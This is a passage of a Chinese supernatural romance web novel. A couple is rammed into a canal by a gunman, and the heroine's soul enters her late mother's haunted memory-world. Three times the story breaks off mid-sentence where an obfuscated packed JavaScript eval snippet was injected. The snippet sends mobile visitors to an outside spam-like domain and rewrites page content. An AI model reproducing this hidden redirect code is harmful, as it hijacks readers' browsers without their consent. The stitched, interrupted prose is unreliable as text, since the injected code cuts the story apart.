不知是不是他的错觉,拐进主路时似乎有一盏路灯灭了,周邂下意识地瞄向后视镜。 雨不算大,路上人影稀疏,越野后面有一辆沃尔沃不远不近地缀着。然而万华府沿路都是富人区,冷不丁出现一辆平平无奇的小轿车,怎么看都不像是雨夜行岔了路。 昏暗的光线在洇开的水雾下更加模糊,挡住了车牌号码,周邂缓缓握紧了方向盘。 “你平时经常开这辆车吗?”他忽然问。 谢阮点点头,“回老宅会开,毕竟底盘低的车子走山路不方便,怎么了?” “没事。”周邂随便寻了个理由糊弄过去,心底却隐约有种不祥的预感。 但驶入东厢街后,那辆沃尔沃就失去了踪迹。 兴许真是巧合,他盯着后视镜,怀疑自己想多了。 近几年黎津市新建地铁,道路重新规划,原本直通西临路的一号桥暂时关闭,他们因此不得不从东厢街绕道。 而与西临路一河之隔的东厢街隶属老城区,九点左右住宅区的灯就已经熄了大半。 酒吧在西临路,紧靠大学城,这个点热闹非常。 周邂再三确认过车后方的路况,明明空无一物,看起来非常安全,他却始终感觉不对劲。 中午不见谢阮时的那股不安渐渐浮上心头,愈演愈烈。 周邂在心里分神算了一卦,视线扫过四周。 与此同时,谢阮也在看后视镜,街景犹如倒放的电影画面在雨幕中飞速切换,她在这条路的尽头看见了一家私立医院的招牌,似曾相识。 “我小时候好像来过这里。”谢阮问,“这条街后面是不是有一条河?” 周邂放大导航界面,肯定道:“我们现在走的是东厢街,过了河就能到西临路,你说的河应该是淮永运河。” 路、桥、水,如果方季遂在这里,估计能好好算一算,可惜周邂自己不擅卜算,将这几个意象盘烂了也没算出什么有用的东西。 但直觉要他警惕,周邂握紧方向盘,时刻注意着车后的动向。 老城区的旧街越发静谧,不知不觉间雾气也变得浓郁起来。 车子逐渐接近路口,将将驶过那间私立医院,隐在视线死角的应急通道里倏地亮起大灯。失去行迹的小轿车从暗处冲出来,直逼越野。 铺天盖地的强光刺痛着视网膜,周邂强忍不适,迅速向右变道,但对方穷追不舍,立即掉头跟上,死咬住车尾。按理说,以越野的马力和车速应当很快就能拉开距离,然而身后那辆小轿车却愈发逼近,不久便从右后侧追上来。 油门轰响,甚至盖过了云层之上的雷声,这是一辆精心改装过的车。 砰—— 改装后的沃尔沃猛地撞向副驾,谢阮猝不及防,整个人顺着巨大的惯性扑向周邂,紧接着又被安全带扯回来。 巨大的恐慌中,右耳被人捂住,“别怕。” 19. 妄念 雨越下越大,路面能见度迅速降低。 窄路上,小轿车得寸进尺,不断扭动车头撞击副驾驶的车门。 谢阮被迫缩到中控附近,紧靠在周邂身侧。 车内寂静无声,捂住右耳的手隔绝了外部的撞击声,左耳却清晰可闻另一道压抑的呼吸。 这个距离听不见周邂的心跳,谢阮深吸一口气,意识到那片鼓噪的心跳源于她自己。 “别怕。”周邂虚拢着她的耳朵,偏头看了一眼副驾。 饶是越野也经不起连续撞击,副驾车门隐隐向内凹陷,车身逐渐被逼向道路左侧竖起的挡风板。 谢阮显然也注意到了这一点,提醒他,“还有不到一百米就要过桥了。” 以现在的车速,半分钟之内他们一定会驶出东厢街,但在东厢街与西林路之间有一座跨河大桥,而越野此时的行驶方向完全偏离桥口,不走大桥再往前开就是淮永运河。 如果他们打算过桥,就必须在上桥之前甩掉那辆轿车,同时向右变道,使车头正对桥头。 否则即便强行挤上桥,两车并行,越野在左,是逆向行驶。这座桥夜间常有大货来往,一旦碰到对向来车,再坚固的车架恐怕也不一定能抗下正面一撞。 但副驾旁的车门已然摇摇欲坠,风将雨吹进来,濡湿了座位。 轿车司机没有错过豁开的一小道门缝,眼见胜利在望,他猛打方向盘,同时加速把越野怼向左边的风挡。 沃尔沃驾驶位,车窗缓缓下降,寂夜中,黑洞洞的枪口对准了谢阮。 而几米之外,运河水轰隆作响。 周邂轻眯起眼睛,问:“会游泳吗?” 谢阮望着前方的河,嗯了一声。 话音刚落,周邂把方向盘朝左打死,然后解开安全带,一把揽过谢阮,以一种决然的保护姿态将她完全纳入自己的臂弯。 纯白色越野瞬间失去控制,顺着巨大的惯性坠入河中,水花翻涌,没过多久便归于平静。 轿车一个急刹停在巷口,车窗已经关上了。 司机抚过没派上用场的枪,拨通电话,“老规矩,账号不变。” 说完,他调转车头,避开监控从另一条巷道离开了东厢街。 - 黎津市区暴雨不止,西临路Chaotic酒吧内却依旧人声鼎沸。 方季遂被人连灌三杯,正面色通红地窝在卡座上哼唧。 梁桢姗姗来迟,拧眉嫌弃道:“不能喝就少喝点,阿阮呢?她来吗?” “阮、阮姐......”方季遂打了个嗝,问,“几点了?” 梁桢看了眼手表,“十点差两分。” 方季遂眨眨,终于认出面前坐着的是他姐,那谢阮呢?九点左右从家出发,九点半也该到了。 “我打个电话问问。”他喝了两口柠檬水,摸出手机给谢阮打电话。 没人接,方季遂又打给周邂,也没打通。 梁桢问:“怎么个事?” 方季遂摇头,按理来说两个人一起出门,一个开车,另一个是能接电话的。 他扒拉两下乱糟糟的头发,想起一人,说:“你等等,我再问问。” 这次电话接的很快。 方季遂问:“你哥和阮姐出门了吗?” “出去好久了,二哥不是去找你了吗?”周夏时用肩膀夹着电话,一边回复他一边打游戏,“怎么了,小方哥?” “没事,本想问问他们怎么还没到的,估计是下雨天开得慢,我刚看到你哥他们进门了,先不和你说。”方季遂怕他多想,只好糊弄两句,嘱咐周夏时早点睡。 梁桢一字不落地听完整段对话,说:“就算是走着来,这会儿都到了,何况今天下雨,开车不可能这么久。” 方季遂也觉得奇怪,他握着电话若有所思,右眼忽然猛跳两下。 “姐。”他看向梁桢,“我感觉不太好。” 梁桢一愣,低声道:“算算。” 外界只以为方家是因为幼子顽劣难以管束,才将人送进道观磨炼耐性,但方季遂自己知道,父母送他入山门,是因为他能看见行走世间的亡魂,并且天生就与占卜有缘。 方家担心方季遂年幼而被有心人利用,因此借历练之名,向晋渊周氏寻求庇护。 方季遂画十张符都不一定有半张起效,但于掐算占卜,却颇有天赋。 他掐指草草算了一卦,面色凝重,“姐,出事了。” - 淮永运河的水在夜色中由南向北奔流而去,仲夏的雨湿热又密集,落在水面上翻腾起一层薄雾,但温度却融不进河底。 水面如同一层隔温的薄膜,漆黑一片的运河水竟然渗着丝丝寒意。 车子掉进河里的时候,由于内外存在压强差,车门几乎被焊死,很难从里面推开。比较可行的逃生方案,应该是尽快拔下颈枕,等待合适的时机砸碎玻璃,从车窗游出去。 当然,这种方式对于幸存者的肺活量要求很高。 如果所有人都能保持清醒状态,那么成功率和存活率会很可观,但不幸的是,谢阮在巨大的撞击力下晕了过去。 记忆停留在眩目的强光中,小轿车别着车门紧追不放。在车子落入河中之前,她看见周邂解开安全带,毫不犹豫地横档在她身前。 宽阔的怀抱浸润着阳光与树木的清香,谢阮有片刻的失神。 下一秒,她感到一阵心悸,紧接着便失去了意识。 周邂眼睁睁看着她生魂离体,只来得及从脖子上摘下什么丢出去,几息之后,那枚辨不清模样的物件与谢阮的魂魄同归于虚无。 怀中温热的躯体呼吸平稳,面色如常,周邂摸索着抓住她的手腕,脉搏节奏规律,还活着。 肉身尚存,生魂离体,这附近有魂场。 可魂场不是菜市场,进入魂场的方式非常有限。 要么,找到魂场唯一的入口,譬如误打误撞掉进去的何宥文;要么,是魂场的主人与生魂有交集,而且执念足够深,譬如谢阮之于赵舒昕。 周邂屏息,细细感受着四下涌动的暗流,运河奔流百年,水中阴气自然比陆地上更浓重,但尚达不到形成魂场入口的程度。 况且如果入口在这里,那周邂此刻不该还在车内。 如此只剩下一种可能。 魂场主分辨出谢阮的气息,主动将她拉进了魂场里。 第二次了,真是见了鬼了。 周邂揽着人,有些无从下手。 但留给他思考的时间所剩无几,冰冷刺骨的河水很快倒灌进车中,漫过脚踝,漫过腰腹,而车子因为制动问题,两侧的车门仍然处于锁死状态。 周邂见状,伸手去解谢阮的安全带。 然而,锁扣在刚才的冲撞下卡得更紧,他拔了几次都没能拔出来。 周邂叹了口气,心虚地觑了一眼昏迷的谢阮,随后抬起一只手虚掩住她紧闭的双眼,掩耳盗铃,另一只手则化成利爪,锋利的指尖撕拉几下,直接暴力扯断了安全带。 指缝里挂着几根线头,他吹了吹爪子,单手拔下椅背上的颈枕。 几秒后,水位漫过车窗,周邂猛吸一口气,沉入水下,将颈枕下方的支架对准窗户砸了下去。 哐啷巨响被静谧的河水吞没,驾驶座一侧的车窗如愿碎成蛛网,周邂曲肘一撞,整块玻璃顺着水势向外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643350|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘去。 河水汹涌闯入车内,谢阮的身体被水流托起,直抵着周邂后背。 他率先钻到车外,而后小心翼翼把谢阮拉出来,揽住她的腰,带着人向上划去。 没游多久,怀里的人猛地向下一坠,周邂扭头,看见水下不知何时积聚起一团黑雾,缠绕在谢阮脚踝边,仿佛挽留。 黑猫冷哼一声,立即化出蓬松柔软的尾巴圈在谢阮膝弯,将人牢牢固定住。 咕嘟咕嘟—— 一串气泡飘到他眼前,生魂离体后,谢阮的身体机能正在加速减弱,胸腔内稀薄的氧气终于消耗殆尽,倒吸进几口河水。 而河面离他们还有很远。 周邂蜷着尾巴托起谢阮,揽在她腰间的手沿着背脊向上,停在了脖颈后。 他不合时宜地想起那天晚上,在县城的小医院里,生魂化出兽形,趴在谢阮枕边,尽职尽责地为她驱赶病房内缭绕的阴气。 周邂把尾巴绕过她头顶,搭在洁白的枕巾上,形成一个封闭式的半环。 黑猫龇着牙吓退了暗中蠢蠢欲动的游魂,如同头狼圈占住自己的领地,守护着某件不可多得的珍宝。 谢阮温热的呼吸喷洒在他耳侧,猫耳朵敏感地抖了抖,苍绿色的眸子仿佛一汪深潭,视线不由自主地落在她小巧的鼻尖,而后被下方圆润的唇珠吸引去了全部的注意力。 越靠近河面,水流越发湍急。 周邂来不及思索,几乎是本能地倾身过去,低下头吻住了谢阮的唇。 舌尖撬开齿关,空气在纠缠的津液中缓慢渡了出去,湿漉漉的,像阳光下的雨。 冰冷的河水里,他们亲密无间地贴在一起,谢阮被身形高大的男生以一种完全的保护者姿态紧紧拥住,对方身后垂下的绒尾正严丝合缝地扣在她的大腿根部。 谢阮下唇偏薄,那是造成她皮相中冷感的一部分,而唇珠却中和掉了部分不近人情的凛冽,像海妖动人的歌声,散发着隐秘的诱惑力。 周邂无意识地舔咬过她的上唇,舍己救人的吻逐渐变了味。 淮永运河滚滚北上,无人知晓,水中不过片刻的亲吻自此诞生出他不可言说的妄念。 在空气和体力耗尽前,周邂抱着谢阮浮出水面。 他打横抱起失去知觉的谢阮,深一脚浅一脚地踩着河床往岸边走去,湿透的短袖黏在他身上,勾勒出清晰的肌肉线条。 天际划过几道闪电,雷声紧接着轰鸣而至。 河堤沿岸种着成排的柳树,显然不能够遮蔽风雨,周邂环顾四周,最终把谢阮安顿在桥墩下,而后脱力一般,与她背靠背依偎在一处。 他反手扣住谢阮的手腕,摸到她微弱的脉搏后,暂时松了口气。 然而没过多久,猎猎长风裹挟着大雨穿过桥洞,周邂敏锐地察觉到周围的阴气在缓缓增多,它们像是拧成了一股绳,在经过谢阮时短暂停留,又马不停蹄朝某处汇去,如同支流源源不断地从四面八方涌向某个未知的节点。 周邂猜测,那极有可能是魂场的入口。 记忆深处忽然涌现出某本古籍的描述,他蓦地想起有一类人,是有机会二次进入魂场的。 正如极阴的命格能以凡人之躯目视鬼神,一个人如果八字极轻,且在外力作用下魂魄离体,便会自动敛去生魂的气息,被魂场当做阴气卷进去。 思忖间,远处响起一串警笛,周邂感知到飞奔而来的方季遂,终于放心合上了眼。 他凝神分离出自己的魂魄,迎面走入人群。 “慈安医院。”方季遂注意到他,张了张嘴,声音微不可查。 周邂点点头,随后掠过救援队,往东厢街口奔去。 20. 谢三 二十世纪初,越西谢氏的一支从江南小镇迁至北方,谢阮的曾曾祖父继承了这一脉金额不菲的财富,带着妻儿亲眷在黎津市的长禄山脚下扎了根。 黎津那时还不像现在这样繁华,长禄山更是远在郊外,但谢家人笃信风水,经人指点盘下了山南之地,从此生意兴隆,子嗣繁盛。 谢阮在一片密集的雨点中清醒。 她费力地睁开眼,狭窄的视野里映入一段白皙的脖颈。谢阮不安分地蹬了蹬腿,发现手脚都被束缚住,包裹着身体的布料似乎是一种亲肤绒布。 没猜错的话,她应该身体缩水,变成了襁褓中的婴儿。 这是什么地方?她不是和周邂一同掉进河里了吗? 谢阮怔怔,忽然想到了魂场。 婴儿的眼睛乌亮溜圆,发呆时像是专注地打量着眼前人,抱着她的人似有所感,俯身亲了亲她的额头。 哺乳期自带的奶香味混合着一丝清浅的玫瑰香扑面而来,谢阮一愣,眼底有几分茫然。 阮栀榆,是阮栀榆抱着自己。 岁月经年,谢阮对母亲的印象已经有些模糊,只记得阮栀榆生下她后,健康状况每况愈下,没过多久便住进了疗养院。 阮栀榆离世距今十多年,谢阮从没在梦里见过她的正脸。 没想到再见竟然是以这种方式。 阮栀榆安静地抱着她,眉眼微垂,周身萦绕着初为人母的慈蔼温和。她穿着月白锦缎制成的旗袍,前襟两侧勾嵌的银线在光下如月辉静谧流淌。 空气中燃着香,谢阮鼻翼翕动,觉得气味有点奇怪,但一时间也分辨不出是什么木料。 婴儿眼睛可以看见的范围实在有限,她费力睁着眼,还是只能看见昏暗的房顶,木横梁上方有一片盘根错节的雕花,形似某种植物。 很眼熟,谢阮还没想起在哪里见过这种图案,便听见斜前方响起一道略显苍老的声音—— “谢阮,父谢延旻,母阮栀榆,己卯年六月初九生人,今入宗祠,行三。” 话音未落,谢阮反应过来,他们在谢家老宅后山的那间祠堂。 听这动静,应该是在给族中的新生儿入族谱。 未成年的谢家人没有资格观礼,而谢阮一成年就搬出了老宅,自然也没有参与过这场仪式。 眼下她却成了当事人,谢阮困在襁褓中,新奇之余感到些许不安。 她听老者念完颂词,听脚步声由远及近。 几秒后,视野一暗,谢延旻出现在她面前,那双被谢阮遗传到的眼睛平静无波,没有浓烈的父爱,也没有殷切的期待。 仿佛谢阮只是路边一株野草,而非他的孩子。 谢延旻将一条细绳系在了婴儿的脖子上。 蜷在毯子下的手慢慢摸向坠在绳子上的木牌,谢阮摸到凹凸不平的辙痕,猜测木牌上刻了一行字。 她下意识地扯了一下木牌。 下一秒,一片白光掠过,谢阮结结实实摔在了泥土地上。 雨声已然消失,凉风灌进来,盛开的白雪山如同翻涌的海浪顺着风向倾倒,硬挺的枝干却紧紧扣住娇嫩的花朵,像牵绊住风筝的线。 外面天色明朗,她跌坐在敞开的玻璃花房里。 谢阮扯了扯衣服袖子,衣领处的蕾丝装饰有些扎手,她低头提起裙摆打量一圈,记起这是阮栀榆被送走后,谢延旻安排保姆买的裙子。 她站起来,扶着一支玫瑰比了比,确认自己比刚醒的时候长大了许多。 现在的谢阮已经七岁了。 这天是周六,准确地来讲,是她步入小学第一周的周六,阮栀榆送她去学校前曾答应周末一起去市中心的艺术馆看儿童画展。 然而,谢阮放学后,却只收到母亲进医院的消息。 她匆匆跑向二楼书房,急于找谢延旻求证。 谢延旻并未隐瞒,甚至夸大了阮栀榆的病情,七岁的谢阮分辨不出话里的真假,只知道母亲病入膏肓,已然药石无医。 “但我们还是有办法救她的。”谢延旻缓缓蹲下,平视着女儿,“元元,你愿意为她献一点血吗?” 他清楚阮栀榆对谢阮的意义,对于女儿的选择早有预料。 果然,谢阮毫不犹豫地点头应下。 谢延旻于是顺理成章地将她带到后山祠堂,划破她的右手食指取出几滴血,滴在了高台之上的某一块牌位表面。 血迹很快渗入木头里,等谢阮厘清其中的利害关系时,事态已经发展到了无可转圜的地步。 不过成年以前,她对老宅深处的腌臜事仍一无所觉。 取完血的当天下午,谢阮得到了特殊奖励。 本该去看画展的周六,她被送往慈安医院,在阮栀榆的病房外呆了一个小时。 谢延旻用医嘱限制她接近生母,只准谢阮隔着病房门遥遥一望,每周一次。 探病时间结束,一行人回到老宅,保姆替她重新洗过澡,随后将人安置在小花园中。 中年女人肃容威吓,“前厅有贵客,不许乱跑。” 弄清楚自己的处境,谢阮支着脑袋叹了口气。 她抬手摸了摸,脖子周围空空如也,小木牌不见踪影。 奇了怪了,谢阮轻眯起眼睛,她对那块小小的木牌竟然没有一丁点印象。如果方才经历的仪式是幼年时真实发生过的,那木牌去哪里了? 谢阮心烦意乱,随手拨弄起眼前的玫瑰,一只白蝴蝶穿过枝叶间隙,翩然落在她的指尖。 与此同时,门口咕噜噜滚过来一团漆黑的小绒球。 谢阮拨开玫瑰丛探出脑袋,看见它伸出短小可爱的四肢,抱着大尾巴坐在地上抖了抖耳朵。白蝴蝶扑棱两下翅膀,引诱似的向它靠近,挑衅地轻点在小家伙的鼻尖,而后迅速转身飞入花丛中。 喵呜—— 黑猫龇着牙忿忿不平,视线触及不远处的谢阮时,又肉眼可见地温驯起来。 这猫有点眼熟,谢阮盯着它上上下下看了几圈,想起在钦江县偶遇的那只黑猫,又想起自己在后山散养、最近才走丢的那只黑猫。 但眼前的猫更圆乎,显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655895|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稚气未脱,瞳色倒是很深,隐隐有一点绿,阳光下看得不是很清楚。 不,不是光线的问题。 谢阮怔了几秒,意识到是自己的记忆有所缺失,这些旧日光景似乎随着阮栀榆的离开而渐渐模糊,沉入深海。 略带审视的目光从黑猫的眼睛往下滑落,缓缓停在它胸前一块猫猫头形状的小木牌上。 她的木牌不见后,又凭空跑出来一只挂着木牌的黑猫。 谢阮不认为是巧合。 赵舒昕创造出的魂场阴森诡谲,灿烂馨香的月季掩盖着血淋淋的真相,而这个魂场却一派安详随和,仿佛只是一场普通的记忆回溯。 谢阮猜不透魂场主的用意。 一人一猫隔着花丛遥遥相望,不知过了多久,花房门前忽然走过来一个衣着华丽的年轻女人,弯下腰揉搓着猫脑袋,嘴里念叨几声宝贝,便抱起它走远了。 黑猫朝谢阮挥了挥爪子。 谢阮遵循记忆张嘴,无声吐出一句再见。 黎津盛夏风雨无常,黑猫消失后,阳光骤然黯淡。谢阮穿过花丛走到花房外,仰头瞧见天际浓云密布,金红的太阳在层云之上挣扎着泻出一线天光。 身后,白玫瑰的花瓣倏然飘落,纷纷然好似下了一场大雪,将她整个人包裹住。 鼻尖燃气一阵诡异的木香,谢阮只觉得头脑昏昏沉沉,再次清醒过来时,已然不在原处。 她抬手捋下覆在眼前的花瓣,撑着地面直起身,头顶上方的香炉里青烟袅袅,谢阮嗅了嗅,发现自己再次回到了小祠堂。 浅亚麻色的棉质长衫淋了雨,下摆袖口处湿漉漉地贴合着皮肤,她皱眉打了个喷嚏,恍惚间竟觉得四肢如同浸泡在深冬的河水里,泛着刺骨的寒凉。 第三段记忆莫名眼熟,谢阮拧了拧裙摆,想起半个月前,长禄山暴雨不止,她从祠堂捡回了周夏时。 谢阮盘腿缩在一块破旧的蒲团上,拖鞋在来时早已沾了水,被她蹬掉在一旁。 视线逡巡过烛火摇曳的高台,漆黑牌位高低错落,犹如山峦叠嶂,一处明显灰少的空位上正静静躺着一块木牌。 谢阮走近,踮脚把东西拿下来,指腹摩挲着木牌表面,脑海里随之浮现出几个零碎的画面。 从赵舒昕的魂场出来后,她大病一场,是夜本该辗转反侧,却清闲无梦难得好眠。谢阮不清楚为什么后半夜睡得如此安稳,但手中隐隐发烫的小木牌让她记起那夜确实做过一场梦。 梦中也有一块木牌,只能摸到凹凸起伏的字辙,而无法看清它的形状轮廓。 眼下一切都与梦中的情形缓缓重合,谢阮喃喃,念出木牌上的字,“己卯年六月初九。” 话音刚落,耳畔一阵嗡鸣,她好像又听到了族中老人苍老的声音。 【谢阮,父谢延旻,母阮栀榆,己卯年六月初九生人,今入宗祠,行三。】 木牌刻着的是她的出生日期,谢阮仿佛受了当头一棒,目光渐渐呆滞。 与此同时,木牌背面渗出一缕黑气,渐渐缠上了她的指尖。 21. 粥粥 ——槐,木也。从木,鬼声。 传闻年代久远的老槐树容易形成枯朽的树洞,夜半凉风穿过,清冷的月色中响起连续不断的啸叫声,仿佛怨鬼哭嚎。 高门深宅鲜少在寝房前种植槐木,正是惧于其阴气重而恐招致鬼附身。 小木牌背面,浓重的黑气化作一缕细线顺着谢阮的指尖向手腕蔓延,在瓷白的肌肤上留下一道泛红的辙印,如同被烈火灼伤。 谢阮一无所觉,漆黑的瞳孔涣散失焦,整个人恍若深陷在一片迷雾之中。 看不清面容的影子迅速从她身边经过,断续响起的说话声纷乱嘈杂,她好似伫立在无边旷野上,而灵魂被剥离出来,禁锢在某个有限的容器里。 零散的骷髅骨架拔地而起,布满青苔的骷髅头裂纹横生。他们的脊骨上系着细绳,方形木牌自然垂落在绳子末端,与谢阮手里的那块形貌相似。风声沙沙穿过空无一物的眼洞,虚空幻象里的目光仿佛如有实质。 他们齐刷刷地看向谢阮,像忠诚的仆从,忘却时间、忘却自我,只是执著地等待。 谢阮怔在原地,心头倏地涌上一股茫然。 她与这些从细沙里挖掘出来的白骨好似有一种天然的联系,亲密到透过断臂残骸也依旧能下意识地感知他们的来历。离她最近的两位似乎是外公外婆,谢阮注意到高一些的那个右手无名指指骨少了一截。 不同于宗族观念极其严密的谢家人,权势地位、财富名誉依靠血脉渊源在代际间积累、传承,阮家是黎津新贵,说得上名姓的人最早也早不过谢阮外公阮顺荣一辈。 老先生年轻时跟着船队往返于各个港口搬卸货物,某次意外不慎伤到右手,无名指当场被夹断,所幸施救及时,只断了一小截指骨。后来,他依靠着海运积攒下的人脉发了家,等到妻子怀孕,就将生意重心转到了地产行业,留出更多的时间陪伴家人。 阮栀榆是独女,没有什么兄弟姐妹,偌大的江盛地产本该由她继承,但不知出于什么原因,公司两成股份都落到了谢延旻手里。 母亲去世后,江盛易主,谢延旻以谢阮尚未成年为由代管股权,而谢氏从此平步青云,扶摇直上。 阮栀榆是自杀,谢阮以为她的灵魂至少得以安息,没想到事实并非如此。 如果阮栀榆真的是这个魂场的主人,她很可能像赵舒昕一样,徘徊流连于生前最后呆过的地方,成了一具悲喜无形、执念裹身的地缚灵。 是谁将她禁锢在了这里? 谢阮神色一凛,她没能见到阮栀榆最后一面,谢延旻当时几乎把持了整个江盛,是他一手操办了葬礼的大小事宜。 谢阮只在阮栀榆的牌位前磕了头,算作扶灵守孝。 如今想来似乎事有蹊跷,毕竟依照谢家人的行事风格,是绝对不可能容忍这样漏洞百出的仪式存在的。 迷惘中,谢阮指尖微动,眼底浮现出一缕清明,她笃定自己已经进入了阮栀榆的魂场,而此前,她和周邂坠河的地点恰在淮永运河附近,紧贴东厢街与西临路的交界处,离慈安医院尚不足五百米。 接二连三的巧合如同表盘背后严丝合缝的齿轮,在分秒的转动中逐渐展露出另一个真相。 身侧鬼魅穿行,白骨砰地化作齑粉消解在浓雾中,谢阮勉强维持的意识又归于混沌,劲风裹挟的怨气缓缓凝出实体,幻化成阮栀榆的模样。 “元元,妈妈来接你了。”女人温柔如常,伸手牵住谢阮,转身引着她向更幽深的前方走去。 谢阮提线木偶一般,不由自主地跟上,在她看不见的身后,每一个沾了湿泥的脚印都烙着一枚淡银色的花瓣,那是附着在河底枉死的尸体上、已经凋落了的水晶兰残片。 涌动的黑线越发猖狂,直奔她心口而去。 眼见谢阮即将被浓雾吞噬,哐啷—— 祠堂大门轰然倒塌,逆光中有道颀长的身影徒手撕开萦绕在谢阮身前的阴气,三步并做两步向她跑来。 失神间,冰冷逐渐褪去,谢阮忽觉指尖刺痛,鼻腔涌入一阵熟悉的木香。 失焦的目光重新聚集,落在手心,方形小木牌消失不见,取而代之的,是一枚黑漆漆的猫猫头,有点像方才在玻璃花房里遇见的那只黑猫胸前的吊坠。 先前被灼伤的红痕显眼刺目,视线顺着掌心落至手腕,停在某处。谢阮疑惑地侧头看去,发现周邂正扯着她的胳膊,安静地站在她身边。 男生薄唇紧抿,头发乖顺地散落在额前,捏着她衣袖的手小心翼翼。 谢阮不由想起刚捡到周夏时的那天,小朋友恰好也站在这个位置,仰头问她可不可以一起回家。而现在,周邂代替了被捡回去的周夏时。 “阿邂?”谢阮撞了一下他的肩膀,示意他松手。 周邂身形一滞,犹豫几秒将手挪到她肩后。他比谢阮高了至少十五公分,这样的动作使得他整个人以一种半环抱的姿势完全包裹住谢阮。 谢阮不自在地动了动,甫一偏头对上一双无辜的眼睛,又有些失语。 她只好拍拍周邂的胳膊,扯过两张还算干净的蒲团拉着人坐下。 谢阮捏捏眉心,略感疲累,“你是怎么找到我的?” 周邂紧挨着她,指了指她手里攥着的猫猫牌,“你生魂离体时,我把这块小木牌丢了出去,它能带我找到你。” 谢阮闻言,好奇地捏住挂绳,将猫猫头木牌提到眼前。深棕色的小木牌只有一面刻了字,不是出生日期,只有两个字,像是一个昵称。 “粥粥。”谢阮笑着回看周邂,“这是谁的小名?” 周邂眼神飘忽起来。 木牌是他出生时老爹雕给他的,大哥和周夏时各有一枚,但整个周家只有周邂小名叫粥粥,因为周夫人怀他那段日子,特别爱喝白粥,他爹曾经连续三个多星期被半夜两点饿醒的周夫人摇起来去厨房煮粥。印象之深刻,以至于他爹给崽取小名时,粥粥两个字脱口而出。 谢阮弯起双眼,在心里又默念一遍,而后将小木牌放到鼻子下嗅了嗅。 她曾见过的那块方形木牌也是有气味的,类似受洗时闻到的香料味,但周邂的这块不太一样。它和周邂身上的气息系出同源,都是那种沐浴过阳光的枝叶才会有的气息,干燥的木料使人很容易联想到深谷中自由生长的参天大树,兼具野性与清新。 “这是什么木头?”谢阮摊着掌心,把猫猫头还给他。 “扶桑。”周邂从她手里接过木牌,重新挂回脖子上,“传说中,扶桑木是太阳升起的地方,一切阴暗在它面前将无所遁形。” 所以他才能顺利找到谢阮。 扶桑木上附着的生气在魂场里能够吸引生魂靠近,如同寒冬寂夜燃起的火焰,为迷失方向的旅人指明道路。 谢阮低头闻了闻指尖,似乎在回味猫猫头小木牌的触感。 “我们坠河之后发生了什么?”她问。 周邂回忆道:“你晕了过去,然后生魂离体,应该是受到那辆小轿车的猛烈撞击,方季遂和我说过你才从魂场出来不久,大病初愈,魂魄本就不稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673603|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他顿了顿,神色间掠过一丝不自然,语速也加快了些。周邂隐去他是如何把谢阮带回岸边的,只言简意赅地提到运河沿岸阴气倍增,他等方季遂带着救援队赶到现场,便立刻分离出生魂前来寻找谢阮。 好在他逻辑严密,装的挺像回事儿,谢阮接受良好,又问他知不知道魂场的具体位置。 “我们现在应该是在慈安医院里面。”周邂抿唇,视线隐晦地扫过她的唇珠。 谢阮闻言并不惊讶,冷淡的面容顷刻间柔和下来,眼底涌出几分眷恋。 周邂移开视线,“你知道这是谁的魂场?” 谢阮点点头,“是我母亲。” 果然,谢阮又因为和魂场主人关系密切而被拉入其中,但周邂直觉这件事和谢阮的八字也有关联,出去后得找二叔问一问。 魂场真正的入口在慈安医院东南角一间配置华丽的病房门口,周邂循着阴气追过来时,房门紧锁。他俯身凑到探视的小玻璃窗口向内张望,看见病床上躺着一个黑气缠身的女人,她面容苍白,神色憔悴,几乎是在周邂望过来的一瞬间便察觉到了他的存在。 她僵硬地转过头,视线对上周邂探询的目光,肖似谢阮的脸上露出几分温柔的笑意,让他很容易就想起了自己的母亲。 周邂很少进入魂场,因为他天生就和魂场中的阴气相悖,一旦以人形进入,要不了多久就会惊扰到魂场中心那具拥有自我意识、三魂七魄俱全的亡魂,但黑猫不会,化作原型后,只要收敛气息,便能与魂场融为一体。 这次情况紧急,谢阮的气息完全被魂场隐去,他只能以人形的状态在魂场里摸索,以期引起魂场主人的注意,从而放弃隐瞒谢阮的去向。 周邂出入过许多个魂场,对于恩怨情仇早已司空见惯,亡魂因为执念才不肯入轮回,强留在某地等待机会,或是报复,或是威吓。 阮栀榆和他见过的亡魂截然不同。 她清醒地知道自己已经死亡,滞留在河底实属无可奈何。她挣扎在那些想要将她同化的怨气之中,却仍然保有生前的理智与温柔。 阮栀榆长年累月徘徊此间,从未害过生魂。 如果不是机缘巧合,阮栀榆不会把谢阮带进魂场。 “可当我拿起那块木牌的时候,她说要带我走。”谢阮垂着眼,幽幽道,“我已经很久没见过她了。” 周邂侧眸,轻声说:“木牌只是意外。” 